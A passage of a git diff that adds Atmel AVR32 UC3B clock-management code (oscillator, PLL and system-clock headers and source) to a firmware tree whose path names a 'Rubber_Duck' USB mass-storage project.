+#endif +#if !defined(BOARD_OSC32_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_IS_XTAL UNDEFINED +# endif +#endif +/** + * \name Slow clock frequency limits + * The slow clock is an internal RC oscillator whose frequency may drift + * a bit as a result of temperature changes. These definitions provide + * upper and lower limits which may be used to calculate upper and lower + * limits of timeouts, derived clock frequencies, etc. + */ +//@{ +//! Nominal frequency of the slow clock in Hz +#define OSC_SLOW_NOMINAL_HZ AVR32_PM_RCOSC_FREQUENCY +//! Minimum frequency of the slow clock in Hz +#define OSC_SLOW_MIN_HZ 100000 +//! Maximum frequency of the slow clock in Hz +#define OSC_SLOW_MAX_HZ 120000 +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include + +static inline void osc_enable(uint8_t id) +{ + irqflags_t flags; + uint32_t oscctrl; + + flags = cpu_irq_save(); + + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + oscctrl = OSC0_STARTUP_VALUE << + AVR32_PM_OSCCTRL0_STARTUP_OFFSET; + oscctrl |= OSC0_MODE_VALUE << AVR32_PM_OSCCTRL0_MODE_OFFSET; + AVR32_PM.oscctrl0 = oscctrl; + AVR32_PM.mcctrl |= 1U << AVR32_PM_MCCTRL_OSC0EN; + break; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + oscctrl = OSC1_STARTUP_VALUE << + AVR32_PM_OSCCTRL1_STARTUP_OFFSET; + oscctrl |= OSC1_MODE_VALUE << AVR32_PM_OSCCTRL1_MODE_OFFSET; + AVR32_PM.oscctrl1 = oscctrl; + AVR32_PM.mcctrl |= 1U << AVR32_PM_MCCTRL_OSC1EN; + break; +#endif + +#ifdef BOARD_OSC32_HZ + case OSC_ID_OSC32: + oscctrl = OSC32_STARTUP_VALUE + << AVR32_PM_OSCCTRL32_STARTUP_OFFSET; + oscctrl |= OSC32_MODE_VALUE << AVR32_PM_OSCCTRL32_MODE_OFFSET; + oscctrl |= 1 << AVR32_PM_OSCCTRL32_OSC32EN_OFFSET; + AVR32_PM.oscctrl32 = oscctrl; + break; +#endif + + default: + /* unhandled_case(id); */ + break; + } + + cpu_irq_restore(flags); +} + +static inline void osc_disable(uint8_t id) +{ + irqflags_t flags; + + flags = cpu_irq_save(); + + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + AVR32_PM.mcctrl &= ~(1U << AVR32_PM_MCCTRL_OSC0EN); + break; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + AVR32_PM.mcctrl &= ~(1U << AVR32_PM_MCCTRL_OSC1EN); + break; +#endif + +#ifdef BOARD_OSC32_HZ + case OSC_ID_OSC32: + AVR32_PM.oscctrl32 = 0; + break; +#endif + + default: + /* unhandled_case(id); */ + break; + } + cpu_irq_restore(flags); +} + +static inline bool osc_is_ready(uint8_t id) +{ + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + return !!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_OSC0RDY)); +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + return !!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_OSC1RDY)); +#endif + +#ifdef BOARD_OSC32_HZ + case OSC_ID_OSC32: + return !!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_OSC32RDY)); +#endif + + default: + /* unhandled_case(id); */ + return false; + } +} + +static inline uint32_t osc_get_rate(uint8_t id) +{ + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + return BOARD_OSC0_HZ; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + return BOARD_OSC1_HZ; +#endif + +#ifdef BOARD_OSC32_HZ + case OSC_ID_OSC32: + return BOARD_OSC32_HZ; +#endif + default: + /* unhandled_case(id); */ + return 0; + } +} + +#endif /* !__ASSEMBLY__ */ + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* CHIP_OSC_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/pll.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/pll.h new file mode 100755 index 0000000..bd661be --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/pll.h @@ -0,0 +1,270 @@ +/** + * \file + * + * \brief Chip-specific PLL definitions + * + * Copyright (c) 2010-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef CHIP_PLL_H_INCLUDED +#define CHIP_PLL_H_INCLUDED + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \weakgroup pll_group + * @{ + */ + +#define PLL_MAX_STARTUP_CYCLES ((1 << AVR32_PM_PLL0_PLLCOUNT_SIZE) - 1) +#define NR_PLLS 2 + +/** + * \brief Number of milliseconds to wait for PLL lock + */ +#define PLL_TIMEOUT_MS \ + div_ceil(1000 * (PLL_MAX_STARTUP_CYCLES * 2), OSC_SLOW_MIN_HZ) + +/** + * \note The PLL must run at twice this frequency internally, but the + * output frequency may be divided by two by setting the PLLOPT[1] bit. + */ +#define PLL_MIN_HZ 40000000 +#define PLL_MAX_HZ 240000000 + +//! \name Chip-specific PLL options +//@{ +//! VCO frequency range is 80-180 MHz (160-240 MHz if unset). +#define PLL_OPT_VCO_RANGE_LOW 0 +//! Divide output frequency by two +#define PLL_OPT_OUTPUT_DIV 1 +//! Disable wide-bandwidth mode +#define PLL_OPT_WBM_DISABLE 2 +//! Number of PLL options +#define PLL_NR_OPTIONS AVR32_PM_PLL0_PLLOPT_SIZE +//! The threshold under which to set the #PLL_OPT_VCO_RANGE_LOW option +#define PLL_VCO_LOW_THRESHOLD ((AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ \ + + AVR32_PM_PLL_VCO_RANGE1_MAX_FREQ) / 2) +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include +#include + +enum pll_source { + PLL_SRC_OSC0 = 0, //!< Oscillator 0 + PLL_SRC_OSC1 = 1, //!< Oscillator 1 + PLL_NR_SOURCES, //!< Number of PLL sources +}; + +struct pll_config { + uint32_t ctrl; +}; + +#define pll_get_default_rate(pll_id) \ + ((osc_get_rate(CONFIG_PLL##pll_id##_SOURCE) \ + * CONFIG_PLL##pll_id##_MUL) \ + / CONFIG_PLL##pll_id##_DIV) + +static inline void pll_config_set_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl |= 1U << (AVR32_PM_PLL0_PLLOPT + option); +} + +static inline void pll_config_clear_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl &= ~(1U << (AVR32_PM_PLL0_PLLOPT + option)); +} + +/** + * The PLL options #PLL_OPT_VCO_RANGE_LOW and #PLL_OPT_OUTPUT_DIV will + * be set automatically based on the calculated target frequency. + */ +static inline void pll_config_init(struct pll_config *cfg, + enum pll_source src, unsigned int div, unsigned int mul) +{ + uint32_t vco_hz; + + Assert(src < PLL_NR_SOURCES); + + /* Calculate internal VCO frequency */ + vco_hz = osc_get_rate(src) * mul; + vco_hz /= div; + Assert(vco_hz >= PLL_MIN_HZ); + Assert(vco_hz <= PLL_MAX_HZ); + + cfg->ctrl = 0; + + /* Bring the internal VCO frequency up to the minimum value */ + if ((vco_hz < PLL_MIN_HZ * 2) && (mul <= 8)) { + mul *= 2; + vco_hz *= 2; + pll_config_set_option(cfg, PLL_OPT_OUTPUT_DIV); + } + + /* Set VCO frequency range according to calculated value */ + if (vco_hz < PLL_VCO_LOW_THRESHOLD) + pll_config_set_option(cfg, PLL_OPT_VCO_RANGE_LOW); + + Assert((mul > 2) && (mul <= 16)); + Assert((div > 0) && (div <= 15)); + + cfg->ctrl |= ((mul - 1) << AVR32_PM_PLL0_PLLMUL) + | (div << AVR32_PM_PLL0_PLLDIV) + | (PLL_MAX_STARTUP_CYCLES << AVR32_PM_PLL0_PLLCOUNT) + | (src << AVR32_PM_PLL0_PLLOSC); +} + +#define pll_config_defaults(cfg, pll_id) \ + pll_config_init(cfg, \ + CONFIG_PLL##pll_id##_SOURCE, \ + CONFIG_PLL##pll_id##_DIV, \ + CONFIG_PLL##pll_id##_MUL) + +static inline void pll_config_read(struct pll_config *cfg, unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + cfg->ctrl = AVR32_PM.pll[pll_id]; +} + +static inline void pll_config_write(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl; +} + +static inline void pll_enable(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl | (1U << AVR32_PM_PLL0_PLLEN); +} + +static inline void pll_disable(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = 0; +} + +static inline bool pll_is_locked(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_LOCK0 + pll_id))); +} + +static inline void pll_enable_source(enum pll_source src) +{ + switch (src) { + case PLL_SRC_OSC0: + if (!osc_is_ready(OSC_ID_OSC0)) { + osc_enable(OSC_ID_OSC0); + osc_wait_ready(OSC_ID_OSC0); + } + break; + + case PLL_SRC_OSC1: + if (!osc_is_ready(OSC_ID_OSC1)) { + osc_enable(OSC_ID_OSC1); + osc_wait_ready(OSC_ID_OSC1); + } + break; + + default: + Assert(false); + break; + } +} + +static inline void pll_enable_config_defaults(unsigned int pll_id) +{ + struct pll_config pllcfg; + + if (pll_is_locked(pll_id)) { + return; // Pll already running + } + switch (pll_id) { +#ifdef CONFIG_PLL0_SOURCE + case 0: + pll_enable_source(CONFIG_PLL0_SOURCE); + pll_config_init(&pllcfg, + CONFIG_PLL0_SOURCE, + CONFIG_PLL0_DIV, + CONFIG_PLL0_MUL); + break; +#endif +#ifdef CONFIG_PLL1_SOURCE + case 1: + pll_enable_source(CONFIG_PLL1_SOURCE); + pll_config_init(&pllcfg, + CONFIG_PLL1_SOURCE, + CONFIG_PLL1_DIV, + CONFIG_PLL1_MUL); + break; +#endif + default: + Assert(false); + break; + } + pll_enable(&pllcfg, pll_id); + while (!pll_is_locked(pll_id)); +} + +#endif /* __ASSEMBLY__ */ + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* CHIP_PLL_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/sysclk.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/sysclk.c new file mode 100755 index 0000000..2ad85a0 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/sysclk.c @@ -0,0 +1,319 @@ +/** + * \file + * + * \brief Chip-specific system clock management functions + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#include +#include +#include +#include +#include + + +/** + * \weakgroup sysclk_group + * @{ + */ + +#if ((CONFIG_SYSCLK_CPU_DIV > CONFIG_SYSCLK_PBA_DIV) || \ + (CONFIG_SYSCLK_CPU_DIV > CONFIG_SYSCLK_PBB_DIV)) +# error CONFIG_SYSCLK_PBx_DIV must be equal to or more than CONFIG_SYSCLK_CPU_DIV. +#endif + +/** + * \internal + * \defgroup sysclk_internals_group System Clock internals + * + * System clock management is fairly straightforward apart from one + * thing: Enabling and disabling bus bridges. When all peripherals on a + * given bus are disabled, the bridge to the bus may be disabled. Only + * the PBA and PBB busses support this, and it is not practical to + * disable the PBA bridge as it includes the Power Manager, so turning + * it off would make it impossible to turn anything back on again. + * + * The system clock implementation keeps track of a reference count for + * PBB. When the reference count is zero, the bus bridge is disabled, otherwise + * it is enabled. + * + * @{ + */ + +/** + * \internal + * \name Initial module clock masks + * + * These are the mask values written to the xxxMASK registers during + * initialization if the user has overriden the default behaviour of all clocks + * left enabled. These values assume that: + * - Debugging should be possible + * - The program may be running from flash + * - The PM should be available to unmask other clocks + * - All on-chip RAM should be available + * - INTC, PM and GPIO are made permanently available for now; this + * may change in the future. + */ +//@{ +//! \internal +//! \brief Initial value of CPUMASK +#define SYSCLK_INIT_MINIMAL_CPUMASK \ + ((1 << SYSCLK_OCD) | (1 << SYSCLK_SYSTIMER)) +//! \internal +//! \brief Initial value of HSBMASK +#define SYSCLK_INIT_MINIMAL_HSBMASK \ + ((1 << SYSCLK_FLASHC_DATA) \ + | (1 << SYSCLK_PBA_BRIDGE)) +//! \internal +//! \brief Initial value of PBAMASK +#define SYSCLK_INIT_MINIMAL_PBAMASK \ + ((1 << SYSCLK_INTC) \ + | (1 << SYSCLK_GPIO) \ + | (1 << SYSCLK_PM)) +//! \internal +//! \brief Initial value of PBBMASK +#define SYSCLK_INIT_MINIMAL_PBBMASK 0 +//@} + +/** + * \internal + * \brief Number of enabled peripherals on the PBB bus. + */ +static uint8_t sysclk_pbb_refcount; + +#if defined(CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) +/** + * \brief boolean signaling that the sysclk_init is done. + */ +bool sysclk_initialized = false; +#endif + +/** + * \internal + * \brief Enable a maskable module clock. + * \param bus_id Bus index, given by the \c AVR32_PM_CLK_GRP_xxx definitions. + * \param module_index Index of the module to be enabled. This is the + * bit number in the corresponding xxxMASK register. + */ +void sysclk_priv_enable_module(unsigned int bus_id, unsigned int module_index) +{ + irqflags_t flags; + uint32_t mask; + + flags = cpu_irq_save(); + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { + /* Do nothing */ + } + + /* Enable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); + mask |= 1U << module_index; + *(&AVR32_PM.cpumask + bus_id) = mask; + + cpu_irq_restore(flags); +} + +/** + * \internal + * \brief Disable a maskable module clock. + * \param bus_id Bus index, given by the \c AVR32_PM_CLK_GRP_xxx definitions. + * \param module_index Index of the module to be disabled. This is the + * bit number in the corresponding xxxMASK register. + */ +void sysclk_priv_disable_module(unsigned int bus_id, unsigned int module_index) +{ + irqflags_t flags; + uint32_t mask; + + flags = cpu_irq_save(); + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { + /* Do nothing */ + } + + /* Disable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); + mask &= ~(1U << module_index); + *(&AVR32_PM.cpumask + bus_id) = mask; + + cpu_irq_restore(flags); +} + +//! @} + +/** + * \brief Enable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_enable_pbb_module(unsigned int index) +{ + irqflags_t flags; + + /* Enable the bridge if necessary */ + flags = cpu_irq_save(); + + if (!sysclk_pbb_refcount) + sysclk_enable_hsb_module(SYSCLK_PBB_BRIDGE); + sysclk_pbb_refcount++; + + cpu_irq_restore(flags); + + /* Enable the module */ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBB, index); +} + +/** + * \brief Disable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_disable_pbb_module(unsigned int index) +{ + irqflags_t flags; + + /* Disable the module */ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_PBB, index); + + /* Disable the bridge if possible */ + flags = cpu_irq_save(); + + sysclk_pbb_refcount--; + if (!sysclk_pbb_refcount) + sysclk_disable_hsb_module(SYSCLK_PBB_BRIDGE); + + cpu_irq_restore(flags); +} + +#if defined(CONFIG_USBCLK_SOURCE) || defined(__DOXYGEN__) +/** + * \brief Enable the USB generic clock + * + * \pre The USB generick clock must be configurated to 48MHz. + * CONFIG_USBCLK_SOURCE and CONFIG_USBCLK_DIV must be defined with proper + * configuration. The selected clock source must also be configured. + */ +void sysclk_enable_usb(void) +{ + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); + sysclk_enable_hsb_module(SYSCLK_USBB_DATA); + genclk_enable_config(AVR32_PM_GCLK_USBB, CONFIG_USBCLK_SOURCE, CONFIG_USBCLK_DIV); +} + +/** + * \brief Disable the USB generic clock + */ +void sysclk_disable_usb(void) +{ + genclk_disable(AVR32_PM_GCLK_USBB); + sysclk_disable_hsb_module(SYSCLK_USBB_DATA); + sysclk_disable_pbb_module(SYSCLK_USBB_REGS); +} +#endif // CONFIG_USBCLK_SOURCE + + +void sysclk_init(void) +{ +#if (CONFIG_SYSCLK_PBA_DIV < CONFIG_SYSCLK_CPU_DIV) +#error Wrong CONFIG_SYSCLK_PBA_DIV & CONFIG_SYSCLK_CPU_DIV settings +#endif + + /* Set up system clock dividers if different from defaults */ + if ((CONFIG_SYSCLK_CPU_DIV > 0) || (CONFIG_SYSCLK_PBA_DIV > 0) || + (CONFIG_SYSCLK_PBB_DIV > 0)) { + sysclk_set_prescalers(CONFIG_SYSCLK_CPU_DIV, + CONFIG_SYSCLK_PBA_DIV, + CONFIG_SYSCLK_PBB_DIV); + } + + /* Switch to system clock selected by user */ + switch (CONFIG_SYSCLK_SOURCE) { + case SYSCLK_SRC_RCSYS: + /* Already running from RCOSC */ + break; + +#ifdef BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + osc_enable(OSC_ID_OSC0); + osc_wait_ready(OSC_ID_OSC0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(BOARD_OSC0_HZ); + sysclk_set_source(SYSCLK_SRC_OSC0); + break; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case SYSCLK_SRC_PLL0: { + pll_enable_config_defaults(0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(sysclk_get_cpu_hz()); + sysclk_set_source(SYSCLK_SRC_PLL0); + break; + } +#endif + + default: + Assert(false); + break; + } + + /* If the user has specified clock masks, enable only requested clocks */ +#if defined(CONFIG_SYSCLK_INIT_CPUMASK) + AVR32_PM.cpumask = SYSCLK_INIT_MINIMAL_CPUMASK | CONFIG_SYSCLK_INIT_CPUMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_PBAMASK) + AVR32_PM.pbamask = SYSCLK_INIT_MINIMAL_PBAMASK | CONFIG_SYSCLK_INIT_PBAMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_PBBMASK) + AVR32_PM.pbbmask = SYSCLK_INIT_MINIMAL_PBBMASK | CONFIG_SYSCLK_INIT_PBBMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_HSBMASK) + AVR32_PM.hsbmask = SYSCLK_INIT_MINIMAL_HSBMASK | CONFIG_SYSCLK_INIT_HSBMASK; +#endif + +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + /* Signal that the internal frequencies are setup */ + sysclk_initialized = true; +#endif +} + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/sysclk.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/sysclk.h new file mode 100755 index 0000000..bc99bbc --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/uc3b0_b1/sysclk.h @@ -0,0 +1,769 @@ +/** + * \file + * + * \brief Chip-specific system clock management functions + * + * Copyright (c) 2010-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef CHIP_SYSCLK_H_INCLUDED +#define CHIP_SYSCLK_H_INCLUDED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \weakgroup sysclk_group + * @{ + */ + +//! \name System Clock Sources +//@{ +#define SYSCLK_SRC_RCSYS 0 //!< Use slow clock as main clock +#define SYSCLK_SRC_OSC0 1 //!< Use OSC0 as main clock +#define SYSCLK_SRC_PLL0 2 //!< Use PLL0 as main clock +//@} + +//! \name USB Clock Sources +//@{ +#define USBCLK_SRC_OSC0 GENCLK_SRC_OSC0 //!< Use OSC0 +#define USBCLK_SRC_PLL0 GENCLK_SRC_PLL0 //!< Use PLL0 +#define USBCLK_SRC_PLL1 GENCLK_SRC_PLL1 //!< Use PLL1 +//@} + +//! \name Clocks derived from the CPU clock +//@{ +//! On-Chip Debug system +#define SYSCLK_OCD AVR32_OCD_CLK_CPU +//! COUNT/COMPARE system registers +#define SYSCLK_SYSTIMER AVR32_CORE_CLK_CPU_COUNT +//@} + +//! \name Clocks derived from the HSB clock +//@{ +//! Flash data interface +#define SYSCLK_FLASHC_DATA (AVR32_FLASHC_CLK_HSB % 32) +//! HSB<->PBA bridge +#define SYSCLK_PBA_BRIDGE (AVR32_HMATRIX_CLK_HSB_PBA_BRIDGE % 32) +//! HSB<->PBB bridge +#define SYSCLK_PBB_BRIDGE (AVR32_HMATRIX_CLK_HSB_PBB_BRIDGE % 32) +//! USBB DMA and FIFO interface +#define SYSCLK_USBB_DATA (AVR32_USBB_CLK_HSB % 32) +//! PDCA memory interface +#define SYSCLK_PDCA_HSB (AVR32_PDCA_CLK_HSB % 32) +//@} + +//! \name Clocks derived from the PBA clock +//@{ +//! Internal interrupt controller +#define SYSCLK_INTC (AVR32_INTC_CLK_PBA % 32) +//! General-Purpose I/O +#define SYSCLK_GPIO (AVR32_GPIO_CLK_PBA % 32) +//! PDCA peripheral bus interface +#define SYSCLK_PDCA_PB (AVR32_PDCA_CLK_PBA % 32) +//! PM/RTC/EIM configuration +#define SYSCLK_PM (AVR32_PM_CLK_PBA % 32) +//! A/D Converter +#define SYSCLK_ADC (AVR32_ADC_CLK_PBA % 32) +//! SPI Controller 0 +#define SYSCLK_SPI (AVR32_SPI_CLK_PBA % 32) +//! TWI Controller +#define SYSCLK_TWI (AVR32_TWI_CLK_PBA % 32) +//! USART 0 +#define SYSCLK_USART0 (AVR32_USART0_CLK_PBA % 32) +//! USART 1 +#define SYSCLK_USART1 (AVR32_USART1_CLK_PBA % 32) +//! USART 2 +#define SYSCLK_USART2 (AVR32_USART2_CLK_PBA % 32) +//! PWM +#define SYSCLK_PWM (AVR32_PWM_CLK_PBA % 32) +//! Synchronous Serial Controller +#define SYSCLK_SSC (AVR32_SSC_CLK_PBA % 32) +//! Timer/Counter +#define SYSCLK_TC (AVR32_TC_CLK_PBA % 32) +//! D/A Converter +#define SYSCLK_DAC (AVR32_ABDAC_CLK_PBA % 32) +//@} + +//! \name Clocks derived from the PBB clock +//@{ +//! HSB Matrix configuration +#define SYSCLK_HMATRIX (AVR32_HMATRIX_CLK_PBB % 32) +//! USBB registers +#define SYSCLK_USBB_REGS (AVR32_USBB_CLK_PBB % 32) +//! Flash Controller registers +#define SYSCLK_FLASHC_REGS (AVR32_FLASHC_CLK_PBB % 32) +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include +#include + +// Use the slow clock (RCOSC) with no prescaling if config was empty. +#ifndef CONFIG_SYSCLK_SOURCE +# define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_RCSYS +#endif /* CONFIG_SYSCLK_SOURCE */ + +/** + * \def CONFIG_SYSCLK_CPU_DIV + * \brief Configuration symbol for dividing the CPU clock frequency by + * \f$2^{CONFIG\_SYSCLK\_CPU\_DIV}\f$ + * + * If this symbol is not defined, the CPU clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_CPU_DIV +# define CONFIG_SYSCLK_CPU_DIV 0 +#endif /* CONFIG_SYSCLK_CPU_DIV */ + +/** + * \def CONFIG_SYSCLK_INIT_HSBMASK + * \brief Configuration symbol for the HSB clocks enabled at power-on after the + * sysclock module has been initialized. By default, all HSB clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all HSB clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_HSBMASK +#endif + +/** + * \def CONFIG_SYSCLK_PBA_DIV + * \brief Configuration symbol for dividing the PBA clock frequency by + * \f$2^{CONFIG\_SYSCLK\_PBA\_DIV}\f$ + * + * If this symbol is not defined, the PBA clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_PBA_DIV +# define CONFIG_SYSCLK_PBA_DIV 0 +#endif /* CONFIG_SYSCLK_PBA_DIV */ + +/** + * \def CONFIG_SYSCLK_PBB_DIV + * \brief Configuration symbol for dividing the PBB clock frequency by + * 